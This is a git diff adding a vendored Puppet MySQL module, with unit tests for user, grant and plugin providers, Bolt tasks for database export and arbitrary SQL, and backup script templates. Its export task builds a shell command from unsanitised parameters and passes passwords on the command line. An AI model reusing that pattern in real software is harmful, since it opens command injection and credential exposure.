+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string])
+ provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0')
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ it 'changes the hash MySQL >= 5.7.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string])
+ provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH mysql_native_password AS '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') # rubocop:disable Metrics/LineLength
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ it 'changes the hash mariadb-10.0' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string])
+ provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0')
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ it 'changes the hash percona-5.5' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['percona-5.5'][:string])
+ provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0')
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ end
+
+ describe 'plugin=' do
+ context 'auth_socket' do
+ context 'MySQL < 5.7.6' do
+ it 'changes the authentication plugin' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string])
+ provider.class.expects(:mysql_caller).with("UPDATE mysql.user SET plugin = 'auth_socket', password = '' WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'system').returns('0')
+
+ provider.expects(:plugin).returns('auth_socket')
+ provider.plugin = 'auth_socket'
+ end
+ end
+
+ context 'MySQL >= 5.7.6' do
+ it 'changes the authentication plugin' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string])
+ provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH 'auth_socket'", 'system').returns('0')
+
+ provider.expects(:plugin).returns('auth_socket')
+ provider.plugin = 'auth_socket'
+ end
+ end
+ end
+
+ context 'mysql_native_password' do
+ context 'MySQL < 5.7.6' do
+ it 'changes the authentication plugin' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string])
+ provider.class.expects(:mysql_caller).with("UPDATE mysql.user SET plugin = 'mysql_native_password', password = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4' WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'system').returns('0') # rubocop:disable Metrics/LineLength
+
+ provider.expects(:plugin).returns('mysql_native_password')
+ provider.plugin = 'mysql_native_password'
+ end
+ end
+
+ context 'MySQL >= 5.7.6' do
+ it 'changes the authentication plugin' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string])
+ provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH 'mysql_native_password' AS '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4'", 'system').returns('0') # rubocop:disable Metrics/LineLength
+
+ provider.expects(:plugin).returns('mysql_native_password')
+ provider.plugin = 'mysql_native_password'
+ end
+ end
+ end
+ # rubocop:enable RSpec/NestedGroups
+ end
+
+ describe 'tls_options=' do
+ it 'adds SSL option grant in mysql 5.5' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string])
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0')
+
+ provider.expects(:tls_options).returns(['NONE'])
+ provider.tls_options = ['NONE']
+ end
+ it 'adds SSL option grant in mysql 5.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string])
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0')
+
+ provider.expects(:tls_options).returns(['NONE'])
+ provider.tls_options = ['NONE']
+ end
+ it 'adds SSL option grant in mysql < 5.7.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string])
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0')
+
+ provider.expects(:tls_options).returns(['NONE'])
+ provider.tls_options = ['NONE']
+ end
+ it 'adds SSL option grant in mysql >= 5.7.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string])
+ provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' REQUIRE NONE", 'system').returns('0')
+
+ provider.expects(:tls_options).returns(['NONE'])
+ provider.tls_options = ['NONE']
+ end
+ it 'adds SSL option grant in mariadb-10.0' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string])
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0')
+
+ provider.expects(:tls_options).returns(['NONE'])
+ provider.tls_options = ['NONE']
+ end
+ end
+
+ %w[max_user_connections max_connections_per_hour max_queries_per_hour
+ max_updates_per_hour].each do |property|
+
+ describe property do
+ it "returns #{property}" do
+ expect(instance.send(property.to_s.to_sym)).to eq('10')
+ end
+ end
+
+ describe "#{property}=" do
+ it "changes #{property}" do
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' WITH #{property.upcase} 42", 'system').returns('0')
+ provider.expects(property.to_sym).returns('42')
+ provider.send("#{property}=".to_sym, '42')
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb
new file mode 100644
index 000000000..9594d0b58
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb
@@ -0,0 +1,25 @@
+require 'puppet'
+require 'puppet/type/mysql_database'
+describe Puppet::Type.type(:mysql_database) do
+ let(:user) { Puppet::Type.type(:mysql_database).new(name: 'test', charset: 'utf8', collate: 'utf8_blah_ci') }
+
+ it 'accepts a database name' do
+ expect(user[:name]).to eq('test')
+ end
+
+ it 'accepts a charset' do
+ user[:charset] = 'latin1'
+ expect(user[:charset]).to eq('latin1')
+ end
+
+ it 'accepts a collate' do
+ user[:collate] = 'latin1_swedish_ci'
+ expect(user[:collate]).to eq('latin1_swedish_ci')
+ end
+
+ it 'requires a name' do
+ expect {
+ Puppet::Type.type(:mysql_database).new({})
+ }.to raise_error(Puppet::Error, 'Title or name must be provided')
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb
new file mode 100644
index 000000000..793f1a029
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb
@@ -0,0 +1,102 @@
+require 'puppet'
+require 'puppet/type/mysql_grant'
+require 'spec_helper'
+describe Puppet::Type.type(:mysql_grant) do
+ let(:user) { Puppet::Type.type(:mysql_grant).new(name: 'foo@localhost/*.*', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost') }
+
+ it 'accepts a grant name' do
+ expect(user[:name]).to eq('foo@localhost/*.*')
+ end
+
+ it 'accepts ALL privileges' do
+ user[:privileges] = 'ALL'
+ expect(user[:privileges]).to eq(['ALL'])
+ end
+
+ context 'PROXY privilege with mysql greater than or equal to 5.5.0' do
+ before :each do
+ Facter.stubs(:value).with(:mysql_version).returns('5.5.0')
+ end
+
+ it 'does not raise error' do
+ user[:privileges] = 'PROXY'
+ user[:table] = 'proxy_user@proxy_host'
+ expect(user[:privileges]).to eq(['PROXY'])
+ end
+ end
+
+ context 'PROXY privilege with mysql greater than or equal to 5.4.0' do
+ before :each do
+ Facter.stubs(:value).with(:mysql_version).returns('5.4.0')
+ end
+
+ it 'raises error' do
+ expect {
+ user[:privileges] = 'PROXY'
+ }.to raise_error(Puppet::ResourceError, %r{PROXY user not supported on mysql versions < 5.5.0})
+ end
+ end
+
+ it 'accepts a table' do
+ user[:table] = '*.*'
+ expect(user[:table]).to eq('*.*')
+ end
+
+ it 'accepts @ for table' do
+ user[:table] = '@'
+ expect(user[:table]).to eq('@')
+ end
+
+ it 'accepts proxy user for table' do
+ user[:table] = 'proxy_user@proxy_host'
+ expect(user[:table]).to eq('proxy_user@proxy_host')
+ end
+
+ it 'accepts a user' do
+ user[:user] = 'foo@localhost'
+ expect(user[:user]).to eq('foo@localhost')
+ end
+
+ it 'requires a name' do
+ expect {
+ Puppet::Type.type(:mysql_grant).new({})
+ }.to raise_error(Puppet::Error, 'Title or name must be provided')
+ end
+
+ it 'requires the name to match the user and table #general' do
+ expect {
+ Puppet::Type.type(:mysql_grant).new(name: 'foo@localhost/*.*', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost')
+ }.not_to raise_error
+ end
+ it 'requires the name to match the user and table #specific' do
+ expect {
+ Puppet::Type.type(:mysql_grant).new(name: 'foo', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost')
+ }.to raise_error %r{`name` `parameter` must match user@host\/table format}
+ end
+
+ describe 'it should munge privileges' do
+ it 'to just ALL' do
+ user = Puppet::Type.type(:mysql_grant).new(
+ name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost',
+ privileges: ['ALL']
+ )
+ expect(user[:privileges]).to eq(['ALL'])
+ end
+
+ it 'to upcase and ordered' do
+ user = Puppet::Type.type(:mysql_grant).new(
+ name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost',
+ privileges: %w[select Insert]
+ )
+ expect(user[:privileges]).to eq(%w[INSERT SELECT])
+ end
+
+ it 'ordered including column privileges' do
+ user = Puppet::Type.type(:mysql_grant).new(
+ name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost',
+ privileges: ['SELECT(Host,Address)', 'Insert']
+ )
+ expect(user[:privileges]).to eq(['INSERT', 'SELECT (Address, Host)'])
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb
new file mode 100644
index 000000000..d89be2513
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb
@@ -0,0 +1,20 @@
+require 'puppet'
+require 'puppet/type/mysql_plugin'
+describe Puppet::Type.type(:mysql_plugin) do
+ let(:plugin) { Puppet::Type.type(:mysql_plugin).new(name: 'test', soname: 'test.so') }
+
+ it 'accepts a plugin name' do
+ expect(plugin[:name]).to eq('test')
+ end
+
+ it 'accepts a library name' do
+ plugin[:soname] = 'test.so'
+ expect(plugin[:soname]).to eq('test.so')
+ end
+
+ it 'requires a name' do
+ expect {
+ Puppet::Type.type(:mysql_plugin).new({})
+ }.to raise_error(Puppet::Error, 'Title or name must be provided')
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb
new file mode 100644
index 000000000..0c900b0c7
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb
@@ -0,0 +1,123 @@
+require 'puppet'
+require 'puppet/type/mysql_user'
+require 'spec_helper'
+describe Puppet::Type.type(:mysql_user) do
+ context 'On MySQL 5.x' do
+ before :each do
+ Facter.stubs(:value).with(:mysql_version).returns('5.6.24')
+ end
+
+ it 'fails with a long user name' do
+ expect {
+ Puppet::Type.type(:mysql_user).new(name: '12345678901234567@localhost', password_hash: 'pass')
+ }.to raise_error %r{MySQL usernames are limited to a maximum of 16 characters}
+ end
+ end
+
+ context 'On MariaDB 10.0.0+' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: '12345678901234567@localhost', password_hash: 'pass') }
+
+ before :each do
+ Facter.stubs(:value).with(:mysql_version).returns('10.0.19')
+ end
+
+ it 'succeeds with a long user name on MariaDB' do
+ expect(user[:name]).to eq('12345678901234567@localhost')
+ end
+ end
+
+ it 'requires a name' do
+ expect {
+ Puppet::Type.type(:mysql_user).new({})
+ }.to raise_error(Puppet::Error, 'Title or name must be provided')
+ end
+
+ context 'using foo@localhost' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@localhost', password_hash: 'pass') }
+
+ it 'accepts a user name' do
+ expect(user[:name]).to eq('foo@localhost')
+ end
+
+ it 'accepts a password' do
+ user[:password_hash] = 'foo'
+ expect(user[:password_hash]).to eq('foo')
+ end
+ end
+
+ context 'using foo@LocalHost' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@LocalHost', password_hash: 'pass') }
+
+ it 'lowercases the user name' do
+ expect(user[:name]).to eq('foo@localhost')
+ end
+ end
+
+ context 'using foo@192.168.1.0/255.255.255.0' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@192.168.1.0/255.255.255.0', password_hash: 'pass') }
+
+ it 'creates the user with the netmask' do
+ expect(user[:name]).to eq('foo@192.168.1.0/255.255.255.0')
+ end
+ end
+
+ context 'using allo_wed$char@localhost' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: 'allo_wed$char@localhost', password_hash: 'pass') }
+
+ it 'accepts a user name' do
+ expect(user[:name]).to eq('allo_wed$char@localhost')
+ end
+ end
+
+ context 'ensure the default \'debian-sys-main\'@localhost user can be parsed' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: '\'debian-sys-maint\'@localhost', password_hash: 'pass') }
+
+ it 'accepts a user name' do
+ expect(user[:name]).to eq('\'debian-sys-maint\'@localhost')
+ end
+ end
+
+ context 'using a quoted 16 char username' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: '"debian-sys-maint"@localhost', password_hash: 'pass') }
+
+ it 'accepts a user name' do
+ expect(user[:name]).to eq('"debian-sys-maint"@localhost')
+ end
+ end
+
+ context 'using a quoted username that is too long ' do
+ before :each do
+ Facter.stubs(:value).with(:mysql_version).returns('5.6.24')
+ end
+
+ it 'fails with a size error' do
+ expect {
+ Puppet::Type.type(:mysql_user).new(name: '"debian-sys-maint2"@localhost', password_hash: 'pass')
+ }.to raise_error %r{MySQL usernames are limited to a maximum of 16 characters}
+ end
+ end
+
+ context 'using `speci!al#`@localhost' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: '`speci!al#`@localhost', password_hash: 'pass') }
+
+ it 'accepts a quoted user name with special chatracters' do
+ expect(user[:name]).to eq('`speci!al#`@localhost')
+ end
+ end
+
+ context 'using in-valid@localhost' do
+ let(:user) { Puppet::Type.type(:mysql_user).new(name: 'in-valid@localhost', password_hash: 'pass') }
+
+ it 'accepts a user name with special chatracters' do
+ expect(user[:name]).to eq('in-valid@localhost')
+ end
+ end
+
+ context 'using "misquoted@localhost' do
+ it 'fails with a misquoted username is used' do
+ expect {
+ Puppet::Type.type(:mysql_user).new(name: '"misquoted@localhost', password_hash: 'pass')
+ }.to raise_error %r{Invalid database user "misquoted@localhost}
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json
new file mode 100644
index 000000000..679b3d672
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json
@@ -0,0 +1,22 @@
+{
+ "description": "Allows you to backup your database to local file.",
+ "input_method": "stdin",
+ "parameters": {
+ "database": {
+ "description": "Database to connect to",
+ "type": "Optional[String[1]]"
+ },
+ "user": {
+ "description": "The user",
+ "type": "Optional[String[1]]"
+ },
+ "password": {
+ "description": "The password",
+ "type": "Optional[String[1]]"
+ },
+ "file": {
+ "description": "Path to file you want backup to",
+ "type": "String[1]"
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb
new file mode 100755
index 000000000..efd9d8126
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb
@@ -0,0 +1,30 @@
+#!/opt/puppetlabs/puppet/bin/ruby
+require 'json'
+require 'open3'
+require 'puppet'
+
+def get(file, database, user, password)
+ cmd_string = 'mysqldump'
+ cmd_string << " --databases #{database}" unless database.nil?
+ cmd_string << " --user=#{user}" unless user.nil?
+ cmd_string << " --password=#{password}" unless password.nil?
+ cmd_string << " > #{file}" unless file.nil?
+ stdout, _stderr, status = Open3.capture3(cmd_string)
+ raise Puppet::Error, _("stderr: ' %{stderr}') % { stderr: stderr }") if status != 0
+ { status: stdout.strip }
+end
+
+params = JSON.parse(STDIN.read)
+database = params['database']
+user = params['user']
+password = params['password']
+file = params['file']
+
+begin
+ result = get(file, database, user, password)
+ puts result.to_json
+ exit 0
+rescue Puppet::Error => e
+ puts({ status: 'failure', error: e.message }.to_json)
+ exit 1
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json
new file mode 100644
index 000000000..81f2e79fc
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json
@@ -0,0 +1,22 @@
+{
+ "description": "Allows you to execute arbitary SQL",
+ "input_method": "stdin",
+ "parameters": {
+ "database": {
+ "description": "Database to connect to",
+ "type": "Optional[String[1]]"
+ },
+ "user": {
+ "description": "The user",
+ "type": "Optional[String[1]]"
+ },
+ "password": {
+ "description": "The password",
+ "type": "Optional[String[1]]"
+ },
+ "sql": {
+ "description": "The SQL you want to execute",
+ "type": "String[1]"
+ }
+ }
+}
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb
new file mode 100755
index 000000000..29b2c6bda
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb
@@ -0,0 +1,29 @@
+#!/opt/puppetlabs/puppet/bin/ruby
+require 'json'
+require 'open3'
+require 'puppet'
+
+def get(sql, database, user, password)
+ cmd = ['mysql', '-e', "#{sql} "]
+ cmd << "--database=#{database}" unless database.nil?
+ cmd << "--user=#{user}" unless user.nil?
+ cmd << "--password=#{password}" unless password.nil?
+ stdout, stderr, status = Open3.capture3(*cmd) # rubocop:disable Lint/UselessAssignment
+ raise Puppet::Error, _("stderr: ' %{stderr}') % { stderr: stderr }") if status != 0
+ { status: stdout.strip }
+end
+
+params = JSON.parse(STDIN.read)
+database = params['database']
+user = params['user']
+password = params['password']
+sql = params['sql']
+
+begin
+ result = get(sql, database, user, password)
+ puts result.to_json
+ exit 0
+rescue Puppet::Error => e
+ puts({ status: 'failure', error: e.message }.to_json)
+ exit 1
+end
diff --git a/modules/services/unix/database/mysql/templates/meb.cnf.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/meb.cnf.erb
similarity index 100%
rename from modules/services/unix/database/mysql/templates/meb.cnf.erb
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/meb.cnf.erb
diff --git a/modules/services/unix/database/mysql/templates/my.cnf.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.erb
similarity index 100%
rename from modules/services/unix/database/mysql/templates/my.cnf.erb
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.erb
diff --git a/modules/services/unix/database/mysql/templates/my.cnf.pass.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.pass.erb
similarity index 100%
rename from modules/services/unix/database/mysql/templates/my.cnf.pass.erb
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.pass.erb
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb
new file mode 100755
index 000000000..9a9df12d1
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb
@@ -0,0 +1,114 @@
+<%- if @kernel == 'Linux' -%>
+#!/bin/bash
+<%- else -%>
+#!/bin/sh
+<%- end -%>
+#
+# MySQL Backup Script
+# Dumps mysql databases to a file for another backup tool to pick up.
+#
+# MySQL code:
+# GRANT SELECT, RELOAD, LOCK TABLES ON *.* TO 'user'@'localhost'
+# IDENTIFIED BY 'password';
+# FLUSH PRIVILEGES;
+#
+##### START CONFIG ###################################################
+
+USER=<%= @backupuser %>
+PASS='<%= @backuppassword %>'
+MAX_ALLOWED_PACKET=<%= @maxallowedpacket %>
+DIR=<%= @backupdir %>
+ROTATE=<%= [ Integer(@backuprotate) - 1, 0 ].max %>
+
+# Create temporary mysql cnf file.
+TMPFILE=`mktemp /tmp/backup.XXXXXX` || exit 1
+<%- if @kernel == 'SunOS' -%>
+echo "[client]\npassword=$PASS\nuser=$USER\nmax_allowed_packet=$MAX_ALLOWED_PACKET" > $TMPFILE
+<%- else -%>
+echo -e "[client]\npassword=$PASS\nuser=$USER\nmax_allowed_packet=$MAX_ALLOWED_PACKET" > $TMPFILE
+<%- end -%>
+
+
+# Ensure backup directory exist.
+mkdir -p $DIR
+
+PREFIX=mysql_backup_
+<% if @ignore_events %>
+ADDITIONAL_OPTIONS="--ignore-table=mysql.event"
+<% else %>
+ADDITIONAL_OPTIONS="--events"
+<% end %>
+<%# Only include routines or triggers if we're doing a file per database -%>
+<%# backup. This happens if we named databases, or if we explicitly set -%>
+<%# file per database mode -%>
+<% if !@backupdatabases.empty? || @file_per_database -%>
+<% if @include_triggers -%>
+ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --triggers"
+<% else -%>
+ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --skip-triggers"
+<% end -%>
+<% if @include_routines -%>
+ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --routines"
+<% else -%>
+ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --skip-routines"
+<% end -%>
+<% end -%>
+
+##### STOP CONFIG ####################################################
+PATH=<%= @execpath %>
+
+
+
+<%- if @kernel == 'Linux' -%>
+set -o pipefail
+<%- end -%>
+
+cleanup()
+{
+<%- if @kernel == 'SunOS' -%>
+ gfind "${DIR}/" -maxdepth 1 -type f -name "${PREFIX}*.sql*" -mtime +${ROTATE} -print0 | gxargs -0 -r rm -f
+<%- else -%>
+ find "${DIR}/" -maxdepth 1 -type f -name "${PREFIX}*.sql*" -mtime +${ROTATE} -print0 | xargs -0 -r rm -f
+<%- end -%>
+}
+
+<% if @delete_before_dump -%>
+cleanup
+
+<% end -%>
+<% if @backupdatabases.empty? -%>
+<% if @file_per_database -%>
+mysql --defaults-extra-file=$TMPFILE -s -r -N -e 'SHOW DATABASES' | while read dbname
+do
+ mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \
+ ${ADDITIONAL_OPTIONS} \
+ ${dbname} <% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}${dbname}_`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %>
+done
+<% else -%>
+mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \
+ ${ADDITIONAL_OPTIONS} \
+ --all-databases <% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %>
+<% end -%>
+<% else -%>
+<% @backupdatabases.each do |db| -%>
+mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \
+ ${ADDITIONAL_OPTIONS} \
+ <%= db %><% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}<%= db %>_`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %>
+<% end -%>
+<% end -%>
+
+<% unless @delete_before_dump -%>
+if [ $? -eq 0 ] ; then
+ cleanup
+ touch /tmp/mysqlbackup_success
+fi
+<% end -%>
+
+<% if @postscript -%>
+ <%- [@postscript].flatten.compact.each do |script|%>
+<%= script %>
+ <%- end -%>
+<% end -%>
+
+# Remove temporary file
+rm -f $TMPFILE
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb
new file mode 100644
index 000000000..85d31f13d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb
@@ -0,0 +1,37 @@
+<%- if @kernel == 'Linux' -%>
+#!/bin/bash
+<%- else -%>
+#!/bin/sh
+<%- end -%>
+#
+# A wrapper for Xtrabackup
+#
+<% if @prescript -%>
+ <%- [@prescript].flatten.compact.each do |script| %>
+<%= script %>
+ <%- end -%>
+<% end -%>
+
+<%- _innobackupex_args = '' -%>
+
+<%- if @backupuser and @backuppassword -%>
+ <%- _innobackupex_args = '--user="' + @backupuser + '" --password="' + @backuppassword + '"' -%>
+<%- end -%>
+
+<%- if @backupdatabases and @backupdatabases.is_a?(Array) and !@backupdatabases.empty? -%>
+ <%- _innobackupex_args = _innobackupex_args + ' --databases="' + @backupdatabases.join(' ') + '"' -%>
+<%- end -%>
+
+<%- if @optional_args and @optional_args.is_a?(Array) -%>
+ <%- @optional_args.each do |arg| -%>
+ <%- _innobackupex_args = _innobackupex_args + ' ' + arg -%>
+ <%- end -%>
+<%- end -%>
+
+innobackupex <%= _innobackupex_args %> "$@"
+
+<% if @postscript -%>
+ <%- [@postscript].flatten.compact.each do |script| %>
+<%= script %>
+ <%- end -%>
+<% end -%>
diff --git a/modules/services/unix/database/mysql/CHANGELOG.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/CHANGELOG.md
similarity index 100%
rename from modules/services/unix/database/mysql/CHANGELOG.md
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/CHANGELOG.md
diff --git a/modules/services/unix/database/mysql/CONTRIBUTING.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/CONTRIBUTING.md
similarity index 100%
rename from modules/services/unix/database/mysql/CONTRIBUTING.md
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/CONTRIBUTING.md
diff --git a/modules/services/unix/database/mysql/Gemfile b/modules/services/unix/database/mysql_wheezy_compatible/mysql/Gemfile
similarity index 100%
rename from modules/services/unix/database/mysql/Gemfile
rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/Gemfile
diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE b/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE
new file mode 100644
index 000000000..d64569567
--- /dev/null
+++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE
@@ -0,0 +1,202 @@
+
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
